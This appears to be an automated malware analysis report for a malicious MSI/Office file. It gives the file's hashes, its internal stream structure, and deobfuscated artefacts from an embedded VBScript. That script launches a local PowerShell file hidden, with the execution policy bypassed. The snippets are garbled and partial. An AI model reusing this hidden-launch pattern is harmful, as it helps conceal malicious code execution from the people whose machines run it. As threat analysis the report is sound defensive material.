Malicious
Malicious

5c057af2f358fc10107d5ccdb39938ad

MS Office Document
|
MD5: 5c057af2f358fc10107d5ccdb39938ad
|
Size: 1.1 MB
|
application/vnd.ms-office

Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
5c057af2f358fc10107d5ccdb39938ad
Sha1
e2e8516b4f275e8c636620b7377ee3b9f9f47bb0
Sha256
2a09bbb3d1ddb729ea7591f197b5955453aa3769c6fb98a5ef60c6e4b7df23a5
Sha384
0b925c1e92d318917000c573960a9abd62515694b5f3142116192917ccfa8a1b91afaf58e94629fed3eccc1b8517669a
Sha512
c5f0e6e1f69b686c8ffbb950c2b0120232b929df33c1041a392e14220cc29604befc23e19a06234c0594ae2eb00c747e56117298de50940b4a20b9f329a58cfb
SSDeep
24576:5NOmTRC/KmPbeqL+FnXvO9+f1KUw+T/s/e:vOmVv+bD+1X29WKwE/
TLSH
41352314FCA42B1FC60B1F32550BDA513FED6D42DF7150636328B2996A373B1BAD206A
File Structure
5c057af2f358fc10107d5ccdb39938ad
Malicious
Root Entry
Malicious
䡀䌏䈯
䄧䄷䆾䅤
Malicious
PumpFile
VbsFile
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
[Deobfuscated PS]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
VbsFile.deobfuscated.vbs
Malicious
[Command #0]
Malicious
䡀䈖䌧䠤
䡀㬿䏲䐸䖱
䡀㽿䅤䈯䠶
䡀䈏䗤䕸䠨
䡀䈛䌪䗶䜵
䡀䓞䕪䇤䠨
䡀䕙䓲䕨䜷
䡀䈛䒰䈹䌏䈯
䡀䌍䈵䗦䕲䠼
䡀䒌䓰䑲䑨䠷
䡀㼿䕷䑬㭪䗤䠤
䡀㼿䕷䑬㹪䒲䠯
䡀㿿䏤䇬䗤䒬䠱
䡀䕌䄨䈷䒏䇯䕨
䡀䖖㯬䏬㱨䖤䠫
䡀䘌䗶䐲䆊䌷䑲
䡀䄕䑸䋦䒌䇱䗬䒬䠱
䡀䇊䌰㾱㼒䔨䈸䆱䠨
䡀䈏䗤䕸㬨䐲䒳䈱䗱䠶
䡀䑒䗶䏤㾯㼒䔨䈸䆱䠨
䡀䇊䌰㮱䈻䘦䈷䈜䘴䑨䈦
䡀䇊䗹䛎䆨䗸㼨䔨䈸䆱䠨
䡀䑒䗶䏤㮯䈻䘦䈷䈜䘴䑨䈦
DigitalSignature
SummaryInformation
MsiDigitalSignatureEx
ErrorScriptFile
Ps1File
PumpFile
VbsFile
Artefacts
Name
 Value
Deobfuscated PowerShell

powershell "script" "hidden" set "shell" "=" "CreateObject" "WScript.Shell" set "fso" "=" "CreateObject" "Scripting.FileSystemObject" " Get script directory scriptDir = fso.GetParentFolderName(WScript.ScriptFullName) psScript = fso.BuildPath(scriptDir, "tango_utility84.ps1") " run "PowerShell" "hidden" shell.run "powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "" & psscript & @(""", 0, [Unmanaged(ErrorExpressionAst)] ,) false
Deobfuscated PowerShell

"script" "hidden" set "shell" "=" "CreateObject" "WScript.Shell" set "fso" "=" "CreateObject" "Scripting.FileSystemObject" " Get script directory scriptDir = fso.GetParentFolderName(WScript.ScriptFullName) psScript = fso.BuildPath(scriptDir, " tango_utility84.ps1) run "PowerShell" "hidden" shell.run @("powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File " & psscript & @("", 0, "[Unmanaged") (errorexpressionast) [Unmanaged(ErrorExpressionAst)] ] , false
Deobfuscated PowerShell

psscript & @("", 0, "[Unmanaged") (errorexpressionast) [Unmanaged(ErrorExpressionAst)] [Unmanaged(ErrorExpressionAst)] ] "false"
Deobfuscated PowerShell

psscript & "", 0, [Unmanaged(ErrorExpressionAst)] ,) false"
5c057af2f358fc10107d5ccdb39938ad (1.1 MB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙